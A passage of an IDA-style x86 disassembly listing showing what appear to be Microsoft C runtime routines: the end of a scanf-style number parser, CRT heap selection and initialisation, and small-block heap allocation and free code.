mov [ebp+var_17], 1
jmp short loc_40E698
; ---------------------------------------------------------------------------
loc_40E693: ; CODE XREF: sub_40DF72+719j
cmp ebx, 2Bh
jnz short loc_40E6BA
loc_40E698: ; CODE XREF: sub_40DF72+71Fj
dec [ebp+var_C]
jnz short loc_40E6A9
cmp [ebp+var_20], 0
jz short loc_40E6A9
mov [ebp+var_F], 1
jmp short loc_40E6BA
; ---------------------------------------------------------------------------
loc_40E6A9: ; CODE XREF: sub_40DF72+729j
; sub_40DF72+72Fj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_40E9CE
pop ecx
mov ebx, eax
loc_40E6B7: ; CODE XREF: sub_40DF72+543j
mov [ebp+var_14], ebx
loc_40E6BA: ; CODE XREF: sub_40DF72+4FDj
; sub_40DF72+52Dj ...
cmp [ebp+var_30], 0
jz loc_40E7D3
cmp [ebp+var_F], 0
jnz loc_40E7B1
loc_40E6CE: ; CODE XREF: sub_40DF72+82Cj
cmp esi, 78h
jnz short loc_40E722
cmp dword_41FF84, 1
jle short loc_40E6EB
push 80h
push ebx
call sub_4114D9
pop ecx
pop ecx
jmp short loc_40E6F8
; ---------------------------------------------------------------------------
loc_40E6EB: ; CODE XREF: sub_40DF72+768j
mov eax, off_41FD78
mov al, [eax+ebx*2]
and eax, 80h
loc_40E6F8: ; CODE XREF: sub_40DF72+777j
test eax, eax
jz loc_40E7A3
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 4
pop ecx
call sub_4135C0
push ebx
mov [ebp+var_28], eax
mov [ebp+var_24], edx
call sub_40E997
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_40E775
; ---------------------------------------------------------------------------
loc_40E722: ; CODE XREF: sub_40DF72+75Fj
cmp dword_41FF84, 1
jle short loc_40E737
push 4
push ebx
call sub_4114D9
pop ecx
pop ecx
jmp short loc_40E742
; ---------------------------------------------------------------------------
loc_40E737: ; CODE XREF: sub_40DF72+7B7j
mov eax, off_41FD78
mov al, [eax+ebx*2]
and eax, 4
loc_40E742: ; CODE XREF: sub_40DF72+7C3j
test eax, eax
jz short loc_40E7A3
cmp esi, 6Fh
jnz short loc_40E760
cmp ebx, 38h
jge short loc_40E7A3
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 3
pop ecx
call sub_4135C0
jmp short loc_40E76F
; ---------------------------------------------------------------------------
loc_40E760: ; CODE XREF: sub_40DF72+7D7j
push 0
push 0Ah
push [ebp+var_24]
push [ebp+var_28]
call sub_411550
loc_40E76F: ; CODE XREF: sub_40DF72+7ECj
mov [ebp+var_28], eax
mov [ebp+var_24], edx
loc_40E775: ; CODE XREF: sub_40DF72+7AEj
inc [ebp+var_1C]
lea eax, [ebx-30h]
cdq
add [ebp+var_28], eax
adc [ebp+var_24], edx
cmp [ebp+var_20], 0
jz short loc_40E78D
dec [ebp+var_C]
jz short loc_40E7B1
loc_40E78D: ; CODE XREF: sub_40DF72+814j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_40E9CE
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_40E6CE
; ---------------------------------------------------------------------------
loc_40E7A3: ; CODE XREF: sub_40DF72+788j
; sub_40DF72+7D2j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_40E9E8
pop ecx
pop ecx
loc_40E7B1: ; CODE XREF: sub_40DF72+756j
; sub_40DF72+819j
cmp [ebp+var_17], 0
jz loc_40E897
mov eax, [ebp+var_28]
mov ecx, [ebp+var_24]
neg eax
adc ecx, 0
mov [ebp+var_28], eax
neg ecx
mov [ebp+var_24], ecx
jmp loc_40E897
; ---------------------------------------------------------------------------
loc_40E7D3: ; CODE XREF: sub_40DF72+74Cj
cmp [ebp+var_F], 0
jnz loc_40E88F
loc_40E7DD: ; CODE XREF: sub_40DF72+90Aj
cmp esi, 78h
jz short loc_40E821
cmp esi, 70h
jz short loc_40E821
cmp dword_41FF84, 1
jle short loc_40E7FC
push 4
push ebx
call sub_4114D9
pop ecx
pop ecx
jmp short loc_40E807
; ---------------------------------------------------------------------------
loc_40E7FC: ; CODE XREF: sub_40DF72+87Cj
mov eax, off_41FD78
mov al, [eax+ebx*2]
and eax, 4
loc_40E807: ; CODE XREF: sub_40DF72+888j
test eax, eax
jz short loc_40E881
cmp esi, 6Fh
jnz short loc_40E81A
cmp ebx, 38h
jge short loc_40E881
shl edi, 3
jmp short loc_40E859
; ---------------------------------------------------------------------------
loc_40E81A: ; CODE XREF: sub_40DF72+89Cj
lea edi, [edi+edi*4]
shl edi, 1
jmp short loc_40E859
; ---------------------------------------------------------------------------
loc_40E821: ; CODE XREF: sub_40DF72+86Ej
; sub_40DF72+873j
cmp dword_41FF84, 1
jle short loc_40E839
push 80h
push ebx
call sub_4114D9
pop ecx
pop ecx
jmp short loc_40E846
; ---------------------------------------------------------------------------
loc_40E839: ; CODE XREF: sub_40DF72+8B6j
mov eax, off_41FD78
mov al, [eax+ebx*2]
and eax, 80h
loc_40E846: ; CODE XREF: sub_40DF72+8C5j
test eax, eax
jz short loc_40E881
push ebx
shl edi, 4
call sub_40E997
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_40E859: ; CODE XREF: sub_40DF72+8A6j
; sub_40DF72+8ADj
inc [ebp+var_1C]
cmp [ebp+var_20], 0
lea edi, [edi+ebx-30h]
jz short loc_40E86B
dec [ebp+var_C]
jz short loc_40E88F
loc_40E86B: ; CODE XREF: sub_40DF72+8F2j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_40E9CE
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_40E7DD
; ---------------------------------------------------------------------------
loc_40E881: ; CODE XREF: sub_40DF72+897j
; sub_40DF72+8A1j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_40E9E8
pop ecx
pop ecx
loc_40E88F: ; CODE XREF: sub_40DF72+865j
; sub_40DF72+8F7j
cmp [ebp+var_17], 0
jz short loc_40E897
neg edi
loc_40E897: ; CODE XREF: sub_40DF72+843j
; sub_40DF72+85Cj ...
cmp esi, 46h
jnz short loc_40E8A0
and [ebp+var_1C], 0
loc_40E8A0: ; CODE XREF: sub_40DF72+928j
cmp [ebp+var_1C], 0
jz loc_40E978
cmp [ebp+var_E], 0
jnz short loc_40E8D9
inc [ebp+var_34]
loc_40E8B3: ; CODE XREF: sub_40DF72+23Bj
cmp [ebp+var_30], 0
jz short loc_40E8C9
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov ecx, [ebp+var_24]
mov [eax+4], ecx
jmp short loc_40E8D9
; ---------------------------------------------------------------------------
loc_40E8C9: ; CODE XREF: sub_40DF72+945j
cmp [ebp+var_D], 0
mov eax, [ebp+var_2C]
jz short loc_40E8D6
mov [eax], edi
jmp short loc_40E8D9
; ---------------------------------------------------------------------------
loc_40E8D6: ; CODE XREF: sub_40DF72+95Ej
mov [eax], di
loc_40E8D9: ; CODE XREF: sub_40DF72+241j
; sub_40DF72+414j ...
inc [ebp+var_15]
inc [ebp+arg_4]
mov esi, [ebp+arg_4]
jmp short loc_40E926
; ---------------------------------------------------------------------------
loc_40E8E4: ; CODE XREF: sub_40DF72+93j
inc [ebp+var_4]
push edi
call sub_40E9CE
mov ebx, eax
pop ecx
movzx eax, byte ptr [esi]
inc esi
cmp eax, ebx
mov [ebp+var_14], ebx
mov [ebp+arg_4], esi
jnz short loc_40E953
mov ecx, off_41FD78
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_40E926
inc [ebp+var_4]
push edi
call sub_40E9CE
pop ecx
movzx ecx, byte ptr [esi]
inc esi
cmp ecx, eax
mov [ebp+arg_4], esi
jnz short loc_40E961
dec [ebp+var_4]
loc_40E926: ; CODE XREF: sub_40DF72+970j
; sub_40DF72+99Aj
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_40E93C
cmp byte ptr [esi], 25h
jnz short loc_40E97E
mov eax, [ebp+arg_4]
cmp byte ptr [eax+1], 6Eh
jnz short loc_40E97E
mov esi, eax
loc_40E93C: ; CODE XREF: sub_40DF72+9B8j
mov al, [esi]
test al, al
jnz loc_40DF9C
jmp short loc_40E978
; ---------------------------------------------------------------------------
loc_40E948: ; CODE XREF: sub_40DF72+1F4j
; sub_40DF72+491j
push [ebp+arg_0]
dec [ebp+var_4]
push [ebp+var_14]
jmp short loc_40E958
; ---------------------------------------------------------------------------
loc_40E953: ; CODE XREF: sub_40DF72+98Aj
dec [ebp+var_4]
push edi
push ebx
loc_40E958: ; CODE XREF: sub_40DF72+9DFj
call sub_40E9E8
pop ecx
pop ecx
jmp short loc_40E978
; ---------------------------------------------------------------------------
loc_40E961: ; CODE XREF: sub_40DF72+9AFj
dec [ebp+var_4]
push edi
push eax
call sub_40E9E8
dec [ebp+var_4]
push edi
push ebx
call sub_40E9E8
add esp, 10h
loc_40E978: ; CODE XREF: sub_40DF72+1Fj
; sub_40DF72+40Aj ...
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_40E98F
loc_40E97E: ; CODE XREF: sub_40DF72+9BDj
; sub_40DF72+9C6j
mov eax, [ebp+var_34]
test eax, eax
jnz short loc_40E992
cmp [ebp+var_15], al
jnz short loc_40E992
or eax, 0FFFFFFFFh
jmp short loc_40E992
; ---------------------------------------------------------------------------
loc_40E98F: ; CODE XREF: sub_40DF72+A0Aj
mov eax, [ebp+var_34]
loc_40E992: ; CODE XREF: sub_40DF72+A11j
; sub_40DF72+A16j ...
pop edi
pop esi
pop ebx
leave
retn
sub_40DF72 endp
; =============== S U B R O U T I N E =======================================
sub_40E997 proc near ; CODE XREF: sub_40DF72+7A3p
; sub_40DF72+8DCp
arg_0 = dword ptr 4
cmp dword_41FF84, 1
push esi
jle short loc_40E9B1
mov esi, [esp+4+arg_0]
push 4
push esi
call sub_4114D9
pop ecx
pop ecx
jmp short loc_40E9C0
; ---------------------------------------------------------------------------
loc_40E9B1: ; CODE XREF: sub_40E997+8j
mov esi, [esp+4+arg_0]
mov eax, off_41FD78
mov al, [eax+esi*2]
and eax, 4
loc_40E9C0: ; CODE XREF: sub_40E997+18j
test eax, eax
jnz short loc_40E9CA
and esi, 0FFFFFFDFh
sub esi, 7
loc_40E9CA: ; CODE XREF: sub_40E997+2Bj
mov eax, esi
pop esi
retn
sub_40E997 endp
; =============== S U B R O U T I N E =======================================
sub_40E9CE proc near ; CODE XREF: sub_40DF72+1E1p
; sub_40DF72+289p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
dec dword ptr [edx+4]
js short loc_40E9E0
mov ecx, [edx]
movzx eax, byte ptr [ecx]
inc ecx
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_40E9E0: ; CODE XREF: sub_40E9CE+7j
push edx
call sub_41176F
pop ecx
retn
sub_40E9CE endp
; =============== S U B R O U T I N E =======================================
sub_40E9E8 proc near ; CODE XREF: sub_40DF72+6Bp
; sub_40DF72+3FFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFFFh
jz short locret_40E9FE
push [esp+arg_4]
push [esp+4+arg_0]
call sub_4135DF
pop ecx
pop ecx
locret_40E9FE: ; CODE XREF: sub_40E9E8+5j
retn
sub_40E9E8 endp
; =============== S U B R O U T I N E =======================================
sub_40E9FF proc near ; CODE XREF: sub_40DF72+63p
; sub_40DF72+1D3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
loc_40EA05: ; CODE XREF: sub_40E9FF+1Dj
push [esp+8+arg_4]
inc dword ptr [esi]
call sub_40E9CE
mov edi, eax
push edi
call sub_413590
pop ecx
test eax, eax
pop ecx
jnz short loc_40EA05
mov eax, edi
pop edi
pop esi
retn
sub_40E9FF endp
; =============== S U B R O U T I N E =======================================
sub_40EA23 proc near ; CODE XREF: sub_40B6D1+1Fp
; sub_40C4F8+126p ...
arg_0 = dword ptr 4
mov eax, dword_47F970
test eax, eax
jz short loc_40EA3B
push [esp+arg_0]
call eax
test eax, eax
pop ecx
jz short loc_40EA3B
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_40EA3B: ; CODE XREF: sub_40EA23+7j
; sub_40EA23+12j
xor eax, eax
retn
sub_40EA23 endp
; =============== S U B R O U T I N E =======================================
sub_40EA3E proc near ; CODE XREF: sub_40EA6B+136p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
and dword ptr [esi], 0
call dword_41708C ; GetModuleHandleA
cmp word ptr [eax], 5A4Dh
jnz short loc_40EA69
mov ecx, [eax+3Ch]
test ecx, ecx
jz short loc_40EA69
add eax, ecx
mov cl, [eax+1Ah]
mov [esi], cl
mov al, [eax+1Bh]
mov [esi+1], al
loc_40EA69: ; CODE XREF: sub_40EA3E+15j
; sub_40EA3E+1Cj
pop esi
retn
sub_40EA3E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EA6B proc near ; CODE XREF: sub_40EBB3+20p
var_122C = byte ptr -122Ch
var_19C = byte ptr -19Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_88 = dword ptr -88h
var_4 = byte ptr -4
push ebp
mov ebp, esp
mov eax, 122Ch
call sub_40B690
lea eax, [ebp+var_98]
push ebx
push eax
mov [ebp+var_98], 94h
call dword_417000 ; GetVersionExA
test eax, eax
jz short loc_40EAAE
cmp [ebp+var_88], 2
jnz short loc_40EAAE
cmp [ebp+var_94], 5
jb short loc_40EAAE
push 1
pop eax
jmp loc_40EBB0
; ---------------------------------------------------------------------------
loc_40EAAE: ; CODE XREF: sub_40EA6B+27j
; sub_40EA6B+30j ...
lea eax, [ebp+var_122C]
push 1090h
push eax
push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
call dword_417128 ; GetEnvironmentVariableA
test eax, eax
jz loc_40EB9D
xor ebx, ebx
lea ecx, [ebp+var_122C]
cmp [ebp+var_122C], bl
jz short loc_40EAF0
loc_40EADD: ; CODE XREF: sub_40EA6B+83j
mov al, [ecx]
cmp al, 61h
jl short loc_40EAEB
cmp al, 7Ah
jg short loc_40EAEB
sub al, 20h
mov [ecx], al
loc_40EAEB: ; CODE XREF: sub_40EA6B+76j
; sub_40EA6B+7Aj
inc ecx
cmp [ecx], bl
jnz short loc_40EADD
loc_40EAF0: ; CODE XREF: sub_40EA6B+70j
lea eax, [ebp+var_122C]
push 16h
push eax
push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
call sub_40D450
add esp, 0Ch
test eax, eax
jnz short loc_40EB12
lea eax, [ebp+var_122C]
jmp short loc_40EB5B
; ---------------------------------------------------------------------------
loc_40EB12: ; CODE XREF: sub_40EA6B+9Dj
lea eax, [ebp+var_19C]
push 104h
push eax
push ebx
call dword_41704C ; GetModuleFileNameA
cmp [ebp+var_19C], bl
lea ecx, [ebp+var_19C]
jz short loc_40EB46
loc_40EB33: ; CODE XREF: sub_40EA6B+D9j
mov al, [ecx]
cmp al, 61h
jl short loc_40EB41
cmp al, 7Ah
jg short loc_40EB41
sub al, 20h
mov [ecx], al
loc_40EB41: ; CODE XREF: sub_40EA6B+CCj
; sub_40EA6B+D0j
inc ecx
cmp [ecx], bl
jnz short loc_40EB33
loc_40EB46: ; CODE XREF: sub_40EA6B+C6j
lea eax, [ebp+var_19C]
push eax
lea eax, [ebp+var_122C]
push eax
call sub_40CE60
pop ecx
pop ecx
loc_40EB5B: ; CODE XREF: sub_40EA6B+A5j
cmp eax, ebx
jz short loc_40EB9D
push 2Ch
push eax
call sub_40CFC0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40EB9D
inc eax
mov ecx, eax
cmp [eax], bl
jz short loc_40EB82
loc_40EB74: ; CODE XREF: sub_40EA6B+115j
cmp byte ptr [ecx], 3Bh
jnz short loc_40EB7D
mov [ecx], bl
jmp short loc_40EB7E
; ---------------------------------------------------------------------------
loc_40EB7D: ; CODE XREF: sub_40EA6B+10Cj
inc ecx
loc_40EB7E: ; CODE XREF: sub_40EA6B+110j
cmp [ecx], bl
jnz short loc_40EB74
loc_40EB82: ; CODE XREF: sub_40EA6B+107j
push 0Ah
push ebx
push eax
call sub_40CA5C
add esp, 0Ch
cmp eax, 2
jz short loc_40EBB0
cmp eax, 3
jz short loc_40EBB0
cmp eax, 1
jz short loc_40EBB0
loc_40EB9D: ; CODE XREF: sub_40EA6B+5Cj
; sub_40EA6B+F2j ...
lea eax, [ebp+var_4]
push eax
call sub_40EA3E
cmp [ebp+var_4], 6
pop ecx
sbb eax, eax
add eax, 3
loc_40EBB0: ; CODE XREF: sub_40EA6B+3Ej
; sub_40EA6B+126j ...
pop ebx
leave
retn
sub_40EA6B endp
; =============== S U B R O U T I N E =======================================
sub_40EBB3 proc near ; CODE XREF: sub_40D514+5Ap
arg_0 = dword ptr 4
xor eax, eax
push 0
cmp [esp+4+arg_0], eax
push 1000h
setz al
push eax
call dword_417130 ; HeapCreate
test eax, eax
mov dword_480F84, eax
jz short loc_40EC09
call sub_40EA6B
cmp eax, 3
mov dword_480F88, eax
jnz short loc_40EBEF
push 3F8h
call sub_40EC10
pop ecx
jmp short loc_40EBF9
; ---------------------------------------------------------------------------
loc_40EBEF: ; CODE XREF: sub_40EBB3+2Dj
cmp eax, 2
jnz short loc_40EC0C
call sub_40F757
loc_40EBF9: ; CODE XREF: sub_40EBB3+3Aj
test eax, eax
jnz short loc_40EC0C
push dword_480F84
call dword_41712C ; HeapDestroy
loc_40EC09: ; CODE XREF: sub_40EBB3+1Ej
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_40EC0C: ; CODE XREF: sub_40EBB3+3Fj
; sub_40EBB3+48j
push 1
pop eax
retn
sub_40EBB3 endp
; =============== S U B R O U T I N E =======================================
sub_40EC10 proc near ; CODE XREF: sub_40EBB3+34p
arg_0 = dword ptr 4
push 140h
push 0
push dword_480F84
call dword_417104 ; RtlAllocateHeap
test eax, eax
mov dword_480F7C, eax
jnz short loc_40EC2D
retn
; ---------------------------------------------------------------------------
loc_40EC2D: ; CODE XREF: sub_40EC10+1Aj
mov ecx, [esp+arg_0]
and dword_480F74, 0
and dword_480F78, 0
push 1
mov dword_480F70, eax
mov dword_480F80, ecx
mov dword_480F68, 10h
pop eax
retn
sub_40EC10 endp
; =============== S U B R O U T I N E =======================================
sub_40EC58 proc near ; CODE XREF: sub_40B771+17p
; sub_40C4F8+4Cp ...
arg_0 = dword ptr 4
mov eax, dword_480F78
lea ecx, [eax+eax*4]
mov eax, dword_480F7C
lea ecx, [eax+ecx*4]
loc_40EC68: ; CODE XREF: sub_40EC58+26j
cmp eax, ecx
jnb short loc_40EC80
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_40EC82
add eax, 14h
jmp short loc_40EC68
; ---------------------------------------------------------------------------
loc_40EC80: ; CODE XREF: sub_40EC58+12j
xor eax, eax
locret_40EC82: ; CODE XREF: sub_40EC58+21j
retn
sub_40EC58 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EC83 proc near ; CODE XREF: sub_40B771+23p
; sub_40C4F8+A4p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, [ebp+arg_0]
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [ecx+10h]
push edi
mov edi, esi
add esi, 0FFFFFFFCh
sub edi, [ecx+0Ch]
shr edi, 0Fh
mov ecx, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_10], ecx
mov ecx, [esi]
dec ecx
test cl, 1
mov [ebp+var_4], ecx
jnz loc_40EFA7
mov edx, [ecx+esi]
lea ebx, [ecx+esi]
mov [ebp+var_C], edx
mov edx, [esi-4]
mov [ebp+var_8], edx
mov edx, [ebp+var_C]
test dl, 1
mov [ebp+arg_4], ebx
jnz short loc_40ED59
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_40ECE7
push 3Fh
pop edx
loc_40ECE7: ; CODE XREF: sub_40EC83+5Fj
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_40ED3B
cmp edx, 20h
jnb short loc_40ED12
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_40ED33
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_40ED33
; ---------------------------------------------------------------------------
loc_40ED12: ; CODE XREF: sub_40EC83+6Fj
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_40ED33
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_40ED33: ; CODE XREF: sub_40EC83+86j
; sub_40EC83+8Dj ...
mov ecx, [ebp+var_4]
mov ebx, [ebp+arg_4]
jmp short loc_40ED3E
; ---------------------------------------------------------------------------
loc_40ED3B: ; CODE XREF: sub_40EC83+6Aj
mov ecx, [ebp+var_4]
loc_40ED3E: ; CODE XREF: sub_40EC83+B6j
mov edx, [ebx+8]
mov ebx, [ebx+4]
add ecx, [ebp+var_C]
mov [edx+4], ebx
mov edx, [ebp+arg_4]
mov [ebp+var_4], ecx
mov ebx, [edx+4]
mov edx, [edx+8]
mov [ebx+8], edx
loc_40ED59: ; CODE XREF: sub_40EC83+56j
mov edx, ecx
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_40ED67
push 3Fh
pop edx
loc_40ED67: ; CODE XREF: sub_40EC83+DFj
mov ebx, [ebp+var_8]
and ebx, 1
mov [ebp+var_C], ebx
jnz loc_40EE0A
sub esi, [ebp+var_8]
mov ebx, [ebp+var_8]
sar ebx, 4
push 3Fh
mov [ebp+arg_4], esi
dec ebx
pop esi
cmp ebx, esi
jbe short loc_40ED8C
mov ebx, esi
loc_40ED8C: ; CODE XREF: sub_40EC83+105j
add ecx, [ebp+var_8]
mov edx, ecx
mov [ebp+var_4], ecx
sar edx, 4
dec edx
cmp edx, esi
jbe short loc_40ED9E
mov edx, esi
loc_40ED9E: ; CODE XREF: sub_40EC83+117j
cmp ebx, edx
jz short loc_40EE05
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
cmp esi, [ecx+8]
jnz short loc_40EDED
cmp ebx, 20h
jnb short loc_40EDCE
mov esi, 80000000h
mov ecx, ebx
shr esi, cl
not esi
and [eax+edi*4+44h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_40EDED
mov ecx, [ebp+arg_0]
and [ecx], esi
jmp short loc_40EDED
; ---------------------------------------------------------------------------
loc_40EDCE: ; CODE XREF: sub_40EC83+12Dj
lea ecx, [ebx-20h]
mov esi, 80000000h
shr esi, cl
not esi
and [eax+edi*4+0C4h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_40EDED
mov ecx, [ebp+arg_0]
and [ecx+4], esi
loc_40EDED: ; CODE XREF: sub_40EC83+128j
; sub_40EC83+142j ...
mov ecx, [ebp+arg_4]
mov esi, [ecx+8]
mov ecx, [ecx+4]
mov [esi+4], ecx
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
mov ecx, [ecx+8]
mov [esi+8], ecx
loc_40EE05: ; CODE XREF: sub_40EC83+11Dj
mov esi, [ebp+arg_4]
jmp short loc_40EE0D
; ---------------------------------------------------------------------------
loc_40EE0A: ; CODE XREF: sub_40EC83+EDj
mov ebx, [ebp+arg_0]
loc_40EE0D: ; CODE XREF: sub_40EC83+185j
cmp [ebp+var_C], 0
jnz short loc_40EE1B
cmp ebx, edx
jz loc_40EE9C
loc_40EE1B: ; CODE XREF: sub_40EC83+18Ej
mov ecx, [ebp+var_10]
mov ebx, [ecx+edx*8+4]
lea ecx, [ecx+edx*8]
mov [esi+4], ebx
mov [esi+8], ecx
mov [ecx+4], esi
mov ecx, [esi+4]
mov [ecx+8], esi
mov ecx, [esi+4]
cmp ecx, [esi+8]
jnz short loc_40EE9C
mov cl, [edx+eax+4]
cmp edx, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edx+eax+4], cl
jnb short loc_40EE73
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_40EE62
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_40EE62: ; CODE XREF: sub_40EC83+1CFj
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea eax, [eax+edi*4+44h]
or [eax], ebx
jmp short loc_40EE9C
; ---------------------------------------------------------------------------
loc_40EE73: ; CODE XREF: sub_40EC83+1C9j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_40EE89
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_40EE89: ; CODE XREF: sub_40EC83+1F4j
lea ecx, [edx-20h]
mov edx, 80000000h
shr edx, cl
lea eax, [eax+edi*4+0C4h]
or [eax], edx
loc_40EE9C: ; CODE XREF: sub_40EC83+192j
; sub_40EC83+1B7j ...
mov eax, [ebp+var_4]
mov [esi], eax
mov [eax+esi-4], eax
mov eax, [ebp+var_10]
dec dword ptr [eax]
jnz loc_40EFA7
mov eax, dword_480F74
test eax, eax
jz loc_40EF99
mov ecx, dword_480F6C
mov esi, dword_417134
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call esi ; VirtualFree
mov ecx, dword_480F6C
mov eax, dword_480F74
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, dword_480F74
mov ecx, dword_480F6C
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, dword_480F74
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, dword_480F74
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_40EF2A
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, dword_480F74
loc_40EF2A: ; CODE XREF: sub_40EC83+29Cj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_40EF99
push ebx
push 0
push dword ptr [eax+0Ch]
call esi ; VirtualFree
mov eax, dword_480F74
push dword ptr [eax+10h]
push 0
push dword_480F84
call dword_417108 ; RtlFreeHeap
mov eax, dword_480F78
mov edx, dword_480F7C
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, dword_480F74
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_40BE50
mov eax, [ebp+arg_0]
add esp, 0Ch
dec dword_480F78
cmp eax, dword_480F74
jbe short loc_40EF8F
sub [ebp+arg_0], 14h
loc_40EF8F: ; CODE XREF: sub_40EC83+306j
mov eax, dword_480F7C
mov dword_480F70, eax
loc_40EF99: ; CODE XREF: sub_40EC83+234j
; sub_40EC83+2ABj
mov eax, [ebp+arg_0]
mov dword_480F6C, edi
mov dword_480F74, eax
loc_40EFA7: ; CODE XREF: sub_40EC83+38j
; sub_40EC83+227j
pop edi
pop esi
pop ebx
leave
retn
sub_40EC83 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EFAC proc near ; CODE XREF: sub_40B6FD+18p
; sub_40C4F8+77p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_480F78
mov edx, dword_480F7C
push ebx
push esi
lea eax, [eax+eax*4]
push edi
lea edi, [edx+eax*4]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
lea ecx, [eax+17h]
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
dec ecx
cmp ecx, 20h
jge short loc_40EFEC
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
mov [ebp+var_C], esi
jmp short loc_40EFFC
; ---------------------------------------------------------------------------
loc_40EFEC: ; CODE XREF: sub_40EFAC+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_C], esi
mov [ebp+var_8], eax
loc_40EFFC: ; CODE XREF: sub_40EFAC+3Ej
mov eax, dword_480F70
mov ebx, eax
cmp ebx, edi
mov [ebp+arg_0], ebx
jnb short loc_40F023
loc_40F00A: ; CODE XREF: sub_40EFAC+75j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_40F023
add ebx, 14h
cmp ebx, [ebp+var_4]
mov [ebp+arg_0], ebx
jb short loc_40F00A
loc_40F023: ; CODE XREF: sub_40EFAC+5Cj
; sub_40EFAC+6Aj
cmp ebx, [ebp+var_4]
jnz short loc_40F0A1
mov ebx, edx
loc_40F02A: ; CODE XREF: sub_40EFAC+96j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_40F046
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_40F044
add ebx, 14h
jmp short loc_40F02A
; ---------------------------------------------------------------------------
loc_40F044: ; CODE XREF: sub_40EFAC+91j
cmp ebx, eax
loc_40F046: ; CODE XREF: sub_40EFAC+83j
jnz short loc_40F0A1
loc_40F048: ; CODE XREF: sub_40EFAC+ADj
cmp ebx, [ebp+var_4]
jnb short loc_40F05E
cmp dword ptr [ebx+8], 0
